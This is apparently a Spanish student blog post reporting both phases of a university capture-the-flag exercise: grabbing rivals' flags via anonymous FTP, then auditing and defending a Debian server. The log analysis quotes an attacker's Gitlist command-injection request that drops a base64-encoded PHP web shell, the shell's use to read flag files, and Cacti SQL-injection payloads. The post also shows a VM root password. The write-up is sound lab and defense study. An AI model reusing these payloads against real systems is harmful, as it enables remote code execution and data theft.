jueves, 5 de noviembre de 2015

Tarea Final - Fase de ataque

Obtención de banderas de otros equipos

La estrategia para obtener las banderas de los equipos contrarios se ha basado en dos aspectos. Por una lado recopilar información de los equipos con las direcciones IP dadas por la organización mediante las herramientas nessus y nikto; y por otro, recabar información de los miembros de los otros equipos a través de sus perfiles en facebook, el foro de la universidad, y sus blogs.

El siguiente es un listado de las banderas obtenidas:

ServerbanderaVulnerabilidad
188.166.57.61 mooc-hacking-team-0076-level-02.gpg FTP Anonymous
188.166.89.6 mooc-hacking-team-0067-level-02.gpg FTP Anonymous
188.166.115.188mooc-hacking-team-0069-level-02.gpg FTP Anonymous
178.62.246.186mooc-hacking-team-0071-level-02.gpg FTP Anonymous
128.199.45.234 mooc-hacking-team-0072-level-02.gpg FTP Anonymous
178.62.247.193 mooc-hacking-team-0074-level-02.gpg FTP Anonymous
178.62.248.200 mooc-hacking-team-0075-level-02.gpg FTP Anonymous
188.166.78.208 mooc-hacking-team-0077-level-02.gpg FTP Anonymous
188.166.79.215 mooc-hacking-team-0078-level-02.gpg FTP Anonymous
178.62.205.101 mooc-hacking-team-0059-level-01.gpg directory listing
178.62.205.101 mooc-hacking-team-0059-level-02.gpgFTP Anonymous
188.166.17.239 mooc-hacking-team-0060-level-02.gpg FTP Anonymous
188.166.64.87 mooc-hacking-team-0061-level-02.gpg FTP Anonymous
128.199.41.183 mooc-hacking-team-0063-level-02.gpg FTP Anonymous
188.166.70.129 mooc-hacking-team-0064-level-02.gpg FTP Anonymous
188.166.73.150 mooc-hacking-team-0065-level-02.gpg FTP Anonymous
178.62.248.113 mooc-hacking-team-0044-level-02.gpg FTP Anonymous
188.166.102.65 mooc-hacking-team-0051-level-02.gpg FTP Anonymous
188.166.106.93 mooc-hacking-team-0052-level-02.gpg FTP Anonymous
188.166.107.100 mooc-hacking-team-0053-level-02.gpg FTP Anonymous
188.166.125.226 mooc-hacking-team-0055-level-02.gpg FTP Anonymous
128.199.62.241 mooc-hacking-team-0025-level-02.gpg FTP Anonymous
178.62.229.236 mooc-hacking-team-0035-level-02.gpg FTP Anonymous
188.166.6.83 mooc-hacking-team-0016-level-02.gpg FTP Anonymous
128.199.48.121 mooc-hacking-team-0003-level-02.gpg FTP Anonymous
188.166.93.179 mooc-hacking-team-0010-level-02.gpg FTP Anonymous
178.62.202.80 mooc-hacking-team-0058-level-02.gpg FTP Anonymous

Finalmente no se ha usado la información antes expuesta para la captura de las banderas; sino que básicamente lo que se ha hecho es aprovechar el usuario anónimo del svftp para descargar la bandera 2 de un total de 26 servidores.

Conclusiones

El objetivo del reto de conseguir las banderas enemigas se ha conseguido parcialmente. Se ha capturado una bandera de tipo 1 mediante la vulnerabilidad de directory listing; y se han obtenido 26 banderas de tipo 2 aprovechando el usuario anonimo del svftp.

Además se ha recolectado bastante información (facebook, foro y blogs) sobre los equipos contrarios que al final no ha sido empleada en la fase de ataque.

Tarea final - Fase de Defensa

Actividad Unidad III : El Reto

Grupo: Los Yodas Disléxicos 31/10/2015


Índice

Actividad Unidad III : El Reto 1

1. Preliminares

Este informe es la respuesta al reto propuesto para la Universidad Mondragón para defender el servidor asignado a nuestro equipo, y atacar los servidores del resto de equipos del curso.

Nuestro equipo ha escogido el nombre de “Los yodas disléxicos”.

El servidor asignado al equipo es una máquina virtual con los siguientes datos:

Nombre de equipo
Sistema operativo Debian Wheezy de 32
Dirección IP pública 188.166.108.50
Usuario administrador Root
Contraseña de usuario administrador 6d1d2a9eaa6c6e1359de357bc52873
Acceso remoto Via ssh por el puerto por defecto

El reto tiene como objetivos principales el defender el propio servidor para evitar intrusiones que faciliten la obtención de nuestras banderas; y al mismo tiempo atacar a los equipos contrarios para conseguir las suyas. El término inglés para designar este tipo de ejercicio es CTF (Capture The Flag). Las tareas para llevar a cabo estos dos objetivos se pueden dividir en los siguientes puntos:

  1. Estudio y análisis del servidor asignado al equipo
  2. Protección del servidor frente a los atacantes
  3. Estudio y análisis de los servidores contrarios.
  4. Obtención de las banderas de los equipos contrarios

Las banderas a defender son las siguientes:

  • Flag 1: /usr/share/doc/base-files/mooc-hacking-team-0029-level-01.gpg
  • Flag 2: /srv/ftp/mooc-hacking-team-0029-level-02.gpg
  • Flag 3: /var/lib/mysql/mooc-hacking-team-0029-level-03.gpg

2. Herramientas empleadas

Durante el estudio de los servidores se han empleado las siguientes herramientas y comandos Linux.

  • ls: Es un comando básico de Unix/Linux que facilita el listado de los ficheros y directorios del disco duro de un equipo.
  • dpkg: Es una de las herramientas de Linux más habituales para la gestión de paquetes o utlidades Linux. Sirve para instalar, desinstalar, y consultar información sobre paquetes.
  • debsums: Se trata de una herramienta que permite conocer la integridad de los paquetes Linux instalados. Es decir, se asegura de que no hayan sido manipulados por un atacante. Esta utilidad realiza la comprobación evaluando los checksum MD5 de los paquetes.
  • netstat: Es una comando básico de Linux que proporciona información de las conexiones de red activas de un equipo.
  • Nmap: Es una utilidad de código abierto que sirve para la exploración de los equipos de una red. Como resultado de su análisis se obtiene distinta información útil para la realización de auditorías de seguridad como listado de puertos abiertos, versión del sistema operativo, o dirección MAC.
  • Nikto: Es una herramienta de análisis de servidores web que proporciona gran cantidad de información para la realización de auditorías. Es muy útil para encontrar vulnerabilidades, y malas configuraciones.
  • Nessus: Es una de las aplicaciones de escaneo de vulnerabilidades más utilizadas. Aunque en principio fue de uso libre, ahora la versión completa es de pago. Nessus es capaz de obtener malas configuraciones, contraseñas por defecto. El análisis comienza haciendo un escaner de puertos; y a continuación intenta atacar a los que estén abiertos.
  • RkHunter. Es una utilidad Linux Open Source que detecta rootkits, puertas traseras y otros tipos de malware. Además comprueba la configuración de algunos ficheros importantes como el passwd.
  • Base de datos de Vulnerabilidades CVE: http://cve.mitre.org/

3. Estudio, y análisis del servidor team-029

Con el objeto de defender adecuadamente el servidor, se han realizado dos tipos de estudios. En primer lugar, desde el interior del mismo, es decir, abriendo sesión mediante ssh; y en segundo lugar también se ha examinado su exposición en Internet a través de sus aplicaciones web y sus puertos de red abiertos. En la investigación interna se han acometido las siguientes tareas

  • Obtención de ficheros clave
  • Inventario de paquetes de software instalados
  • Búsqueda de vulnerabilidades de software
  • Obtención de ficheros log
  • Listado de servicios activos
  • Listado de puertos de red abiertos

3.1.Ficheros clave

Ciertos ficheros de configuración Linux son importantes a la hora de estudiar la seguridad de un servidor. Por una parte dan información de cómo es la configuración del equipo; y por otra, son los ficheros que un atacante intenta vulnerar para hacerse con el control del mismo. A continuación se identifican las características de los ficheros clave extraídos para el estudio de este caso

  • /etc/issue : Contiene información de la versión de sistema operativo; que en este caso es Debian GNU Linux 7
  • /etc/hostname :Incluye el nombre del equipo: team-0029
  • /etc/fstab :Identifica el tipo de sistema de ficheros y otra información del disco duro. Este equipo tiene un solo disco con etiqueta DOROOT; está montado en el la raíz del disco ( / ), y es de tipo ext4.
  • /etc/hosts : Incluye el nombre de los equipos y direcciones IP asociados para realizar una resolución de nombres local. Este servidor tiene dos entradas, una para el localhost, y otra con el nombre del equipo team-029. El fichero tiene los permisos adecuados; y ha sido modificado por última vez el 6 de octubre de 2015
  • /etc/network/interfaces: Contiene el tipo de direccionamiento de red. En este caso se define para el equipo la dirección estática 188.166.108.50. Se observa que el equipo por el que sale a Internet es el 188.166.64;y como servidores de resolución de nombres tiene los de las siguientes direcciones IP: 8.8.8.8 y 8.8.4.4.1. El fichero tiene los permisos adecuados; y ha sido modificado por última vez el 6 de octubre de 2015.
  • /etc/host.conf :En este fichero se configura cómo debe comportarse la resolución de nombres. En el servidor team-029 el valor es “multi on”. Lo cual indica que serán válidos todas las direcciones de /etc/hosts. El fichero tiene los permisos correctos, y no ha sido modificado posteriormente a la instalación del sistema operativo.
  • /etc/passwd : En el fichero de contraseñas de usuario se observan los usuarios por defecto de la distribución de Linux Debian, más los usuarios creados por la instalación de algunas aplicaciones como son: mysql, vsftpd, y clamav. El fichero tiene los permisos adecuados, y fue actualizado por última vez el 10 de Octubre de 2015.
  • /etc/group : En el fichero de grupos de usuario se observan los grupos por defecto de la distribución de Linux Debian, más los grupos creados por la instalación de algunas aplicaciones como son: mysql, vsftpd, y clamav. El fichero tiene los permisos adecuados, y fue actualizado por última vez el 10 de Octubre de 2015.
  • /etc/profile, /root/.bashrc, /root/.profile, Incluyen los scripts por defecto que se ejecutan al iniciarse una sesión bash. Los ficheros contiene los permisos adecuados; y no han sido modificados tras la instalación del sistema operativo. En caso de que estos ficheros hubieran sido atacados podrían incluir comandos con operaciones ilegítimas.
  • /etc/crontab : Permite ejecutar tareas programadas. El fichero contiene las tareas por defecto que se incluyen de origen. El fichero tiene los permisos adecuados; y no ha sido modificado tras la instalación del sistema operativo.

3.2.Puertos abiertos del servidor

La exposición en Internet del servidor se ha analizado con la herramienta nmap. El resultado obtenido es el siguiente:

PuertoServicioSoftwareEvidencias
21/tcp ftp Vsftpd 2.3.5 ftp-anon: Anonymous FTP login allowed
22/tcp Ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
80/tcp Http Apache httpd 2.2.22 http-methods: GET HEAD POST OPTIONS

Como se ve en la tabla anterior, se han encontrado 3 puertos abiertos. El puerto 21 corresponde con el servicio de transferencia de archivos, en el que se observa que está habilitado el usuario anónimo; y que hay acceso a la bandera 2 sin permisos; y a un segundo fichero con permisos de lectura. El puerto 22 corresponde al servicio de acceso remoto por ssh al servidor; y se pueden ver las fingerprints/hashes de las claves públicas del servidor. El puerto 80 es usado por el servidor Apache; el cual admite los métodos GET, HEAD, POST y OPTIONS.

3.3.Inventario de paquetes instalados

Los paquetes instalados en el servidor son en su mayoría software que se instala por defecto con la distribución Debian; pero hay algunos instalados a posteriori. De todos ellos se han estudiado los que tienen mayor número de vulnerabilidades conocidas.

Nombre Version Observaciones Vulnerable Ident. Vuln Acción Observaciones
Kernel 3.2.0-4- NO
Apache 2.2.22- NO
MySQL 5.5.44- NO
Perl 5.14.2- NO
PHP 5.4.45- NO
Python 2.7.3Incluye soporte SOAP NO
Open SSH 6.0p1-4+deb7u2- NO
Open SSL 1.0.1e-2+deb7u17Inclye mdulos Apache, Mysql, y Snmp NONO, 0.8.8a+dfsg-
cacti 5+deb7u2- SI
Gitlist 0.4.0- SI5.4.3~dfsg-2.8+deb7u1 SI CVE-2015-5621
vsftpd 2.3.5.3- SI
vsftpd 2.3.5.3- SI
w3m 0.5.3.8- NO

3.4. Vulnerabilidades encontradas

Como se puede ver en la tabla del apartado anterior, se han encontrado cuatro paquetes vulnerables: Cacti,Gitlist, snmp, y vsftpd

Para la búsqueda de vulnerabilidades se han empleado las bases de datos: CVE-mitre, CERTSI y Debian Security Tracker.

El dia 9 de octubre se aplican actualizaciones para Cacti y Gitlist. El bug de snmp no tiene actualización publicada hasta la fecha, por lo que queda vulnerable. No obstante, el servicio snmp no está configurado ni está activo en el servidor; por lo que no se aprecia riesgo inminente.

Para el paquete vsftpd la vulnerabilidad CVE-2015-1419 indica que hay un bug al parsear la opción deny_file, y que se ajusta en la versión Debian 9 (strech); por tanto se revisa el fichero de configuración /etc/vsftpd.conf, y se observa que esta opción no está siendo usada; por lo que se decide no realizar ninguna acción de actualización.

Por otro lado, aunque el vsftpd está configurado para permitir el acceso anónimo, se deja así por considerar que configuración viene dad por la organización, y no se debe corregir.

Las versiones del software han quedado de esta forma:

  • Cacti 0.8.8a+dfsg-5+deb7u6.
  • Gitlist 0.5.0
  • Snmp 5.4.3~dfsg-2.8+deb7u1
  • vsftpd 2.3.5.3

Adicionalmente se ha empleado el escáner de vulnerabilidades Nessus; el cual ha encontrado dos posibles vulnerabilidades.

  • CVE-2006-0987. Indica que a través del puerto UPD 53 se podría usar para realizar un ataque de denegación de servicio. Esta vulnerabilidad afectaría al servidor en el caso de que estuviese configurado como servidor DNS, pero este no es el caso. Se podría reforzar la seguridad cerrando el puerto puesto que no está siendo usado. El servidor sólo usa el cliente DNS, y tiene direccionamiento estático. Por tanto no se realiza ninguna acción.
  • CVE-2008-5161. Avisa de que el servidor ssh soporta el método de cifrado débil CBC. Se revisa la configuración del servidor ssh (/etc/ssh/ssh_config), y se comprueba que no usa este modo.

3.5.Ficheros log

Se analizan los ficheros log en busca de posibles ataques al servidor durante los días del reto ( 6 a 20 de octubre).

Se estudian el log de Apache, el log de cacti, el log del sistema, y el log del servidor ftp.

Log del servidor Apache

Analizados los ficheros access.log de Apache se observa la descarga por parte de otros equipos de distintas banderas.

Dirección IP Propietario Fecha Comando
190.129.234.171 Desconocido 07/Oct/2015:12:44:55 GET
46.24.32.68 Desconocido 08/Oct/2015:14:48:13 GET /gitlist/cache/x.php?cmd=more%20/srv/ftp/mooc-
46.24.32.68 Desconocido 08/Oct/2015:14:48:49 GET
81.39.186.9 Desconocido 09/Oct/2015:16:14:56 GET

En la tabla anterior se puede ver que los días anteriores a la fase de ataque tres atacantes lograron las banderas 1 y 2 mediante una vulnerabilidad de la aplicación Gitlist.

En el fichero access.log.2 se observa la siguiente linea el dia 7:

190.129.234.171 - - [07/Oct/2015:12:44:08 +0000] "GET /gitlist/gitlist/blame/master/%22%22%60echo%20PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo%3D%7Cbase64%20-d%20%3E%20/var/www/gitlist/cache/x.php%60 HTTP/1.1" 500 2188 "-" "Wget/1.15 (darwin14.1.0)"

Esta linea es el resultado del comando wget con un argumento ofuscado; que si se decodifica se obtiene:

/gitlist/gitlist/blame/master/””`echo PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=|base64 -d > /var/www/gitlist/cache/x.php`

Aquí vemos que el atacante ha subido el fichero x.php a la carpeta /var/www/cache de nuestro servidor .

Para saber qué contiene el fichero x.php decodificamos el argumento del comando echo con base64 y se obtiene


Este script permite la ejecución de código remoto. El atacante consiguió la bandera 1 con el comando también indicado anteriormente en la tabla:

190.129.234.171 - - [07/Oct/2015:12:44:55 +0000] "GET /gitlist/cache/x.php?cmd=cat%20/usr/share/doc/base-
files/mooc-hacking-team-0029-level-01.gpg

Este ataque lo descubrimos el dia 9 de octubre,y se tomaron las siguientes acciones:

  • Eliminación del fichero /var/www/gitlist/cache/x.php
  • Actualización de Gitlist a 0.5.0

Respecto a la bandera 1, parece que sólo la consiguieron tres personas antes de la actualización del servidor, y antes de la semana de ataque. Por tanto podemos decir que protegimos correctamente el servidor para evitar su captura.

La bandera 2 fue obtenida por un atacante mediante la vulnerabilidad del Gitlist; aunque la mayoría la obtuvieron mediante la vulnerabilidad del ftp que permite el acceso con el usuario anonymous.

Log de Cacti

En los ficheros cacti.log y cacti.log.1 se advierten errores de SQL entre los dias 14 y 18 de octubre. El dia 14 se detecta que la IP 190.203.204.127 (geolocalizada en Caracas) intenta ejecutar con error sucesivamente la sentencia:

Error:'1062', SQL:INSERT INTO user_log (username,user_id,result,ip,time) VALUES ('Joey',0,0,'190.203.204.127',NOW())

El dia 18 se detecta que la IP 80.103.124.104 (geolocalizada en Placencia de las Armas) intenta ejecutar distintas sentencias SQL sucesivamente similares a esta:

Error:'1062', SQL:INSERT INTO user_log (username,user_id,result,ip,time) VALUES ('Joey',0,0,'80.103.124.104',NOW())

Aunque se produce error, se observa en la tabla user_log que se ha producido el SQL injection porque se han insertado valores:

/Windows\\system.ini | 0 | 2015-10-14 17:06:22 | 0 | 190.203.204.127 |

\\etc/passwd | 0 | 2015-10-14 17:06:23 | 0 | 190.203.204.127 |

 -- EXEC cmd \ ls /\ -- | 0 | 2015-10-14 17:09:00 | 0 | 190.203.204.127 |

Joey\ UNION SELECT 8 table_name \vega\ FROM info | 0 | 2015-10-14 17:51:39 | 0 | 190.203.204.127 |

Joey\ UNION SELECT 8 table_name \vega\ FROM inf | 0 | 2015-10-18 13:18:23 | 0 | 80.103.124.104 

Joeybogus Vega-Inject:bogus | 0 | 2015-10-18 13:18:24 | 0 | 80.103.124.104 |

Como conclusión podemos decir que aunque se actualizó cacti el dia 9 de octubre, posteriormente se han producido ataques a mediante SQL injection a la base de datos de cacti; por lo que ésta no se había protegido adecuadamente.

Log del servidor FTP

A continuación se muestra una relación con las primeras descargas de archivos

Dirección IP Propietario Fecha Fichero

190.129.234.171 Desconocido Tue Oct 6 17:35:16 mooc-hacking-team-0029-level-
2.137.86.92 Desconocido 1 Tue Oct 6 22:08:56 mooc-hacking-team-0029-level-
62.97.98.133 Desconocido Wed Oct 7 09:34:21 mooc-hacking-team-0029-level-
87.217.107.35 Desconocido Thu Oct 8 06:06:02 mooc-hacking-team-0029-level-
46.24.32.68 Desconocido Thu Oct 8 14:30:14 mooc-hacking-team-0029-level-
165.182.186.140 Desconocido Thu Oct 8 18:12:26 mooc-hacking-team-0029-level-
77.230.90.203 Desconocido Thu Oct 8 20:11:38 /etc/passwd Fail download
146.66.253.148 Desconocido Tue Oct 13 09:50:49 mooc-hacking-team-0029-level-
188.78.181.171 Desconocido Tue Oct 13 09:51:08 mooc-hacking-team-0029-level-
5.134.35.1 Desconocido Tue Oct 13 10:10:21 mooc-hacking-team-0029-level-
89.140.174.98 Desconocido Tue Oct 13 10:11:25 Mooc-hacking-team-0029-level-
179.25.207.182 Desconocido Tue Oct 13 10:12:13 Mooc-hacking-team-0029-level-
193.146.78.93 Desconocido Tue Oct 13 10:16:39 Mooc-hacking-team-0029-level-
46.24.32.68 Desconocido Tue Oct 13 10:18:14 Mooc-hacking-team-0029-level-
95.22.163.48 Desconocido Tue Oct 13 10:28:50 Mooc-hacking-team-0029-level-
193.146.78.97 Desconocido Tue Oct 13 10:30:54 Mooc-hacking-team-0029-level-
46.24.32.68 Desconocido Tue Oct 13 10:33:14 Mooc-hacking-team-0029-level-

En los ficheros logs analizados, se observa lo siguiente:

  • La primera semana, aunque no estaba dentro de las reglas del reto, hay participantes que se descargan nuestra bandera.
  • A partir de las 10 de la mañana del dia 13 de octubre los participantes del Mooc comienzan a descargarse la bandera 2
  • Los dias de más actividad de descarga son el 13 y 14 de octubre. Terminando las descargas el dia 20 a las 18:22
  • No se consiguió proteger la bandera 2 dado que los atacantes la estuvieron descargando hasta el último día mediante el usuario anonymus del ftp

3.6.Comprobación de existencia de malware

Para asegurarnos que no tenemos malware alojado en el servidor, o que éste ha afectado a los principales ficheros del sistema se han empleado las herramientas debsum, y rkhunter.

Debsums

El 9 y el 26 de octubre se ejecuta debsums con el mismo resultado. Están todos los ficheros OK, excepto estos:

  • /usr/share/cacti/site/cdef.php FAILED
  • /usr/share/cacti/site/lib/api_device.php FAILED
  • /etc/sysctl.conf FAILED
  • /etc/vsftpd.conf FAILED

El mensaje de fallo en los dos ficheros de cacti indican que esos ficheros, que pertenecen al runtime de cacti han sido modificados. La modificacion es para la aplicación de un parche de Cacti que posteriormente no funcionó. Se trata de falsos positivos.

El mensaje de fallo en los ficheros .conf suelen ser falsos positivos y no debe tenerse en cuenta. Por tratarse de ficheros de configuración es normal que se hayan modificado después de la instalación de los paquetes. De cualquier forma habría que asegurarse de cuales han sido los cambios concretos en estos ficheros

Rkhunter/p>

Se ha ejecutado el programa los dias 10, 13 y 14 con el mismo resultado:

System checks summary
=====================
File properties checks...
 Files checked: 135
 Suspect files: 1

Rootkit checks...
 Rootkits checked : 307
 Possible rootkits: 0

Applications checks...
 All checks skipped

El fichero sospechoso es /usr/bin/unhide.rb. Se trata de un falso positivo porque siendo un programa ruby está alojado en /usr/bin donde suelen ser la mayoria ejecutables binarios.

Conclusión

La protección del servidor en defensa se mejoró a partir del día 9 de octubre con las actualizaciones de cacti y gitlist. Esto no eliminó la vulnerabilidad de SQL Injection de Cacti que se observa en sus logs; y que ha tenido éxito insertando registros en la BD cacti. Se adjunta al informe el volcado de la BD donde se observan los registros implicados.

No se ha podido impedir que los equipos contrarios se descargaran la bandera 2 a través del svftp; hecho que se puede ver en el fichero log de esta aplicación.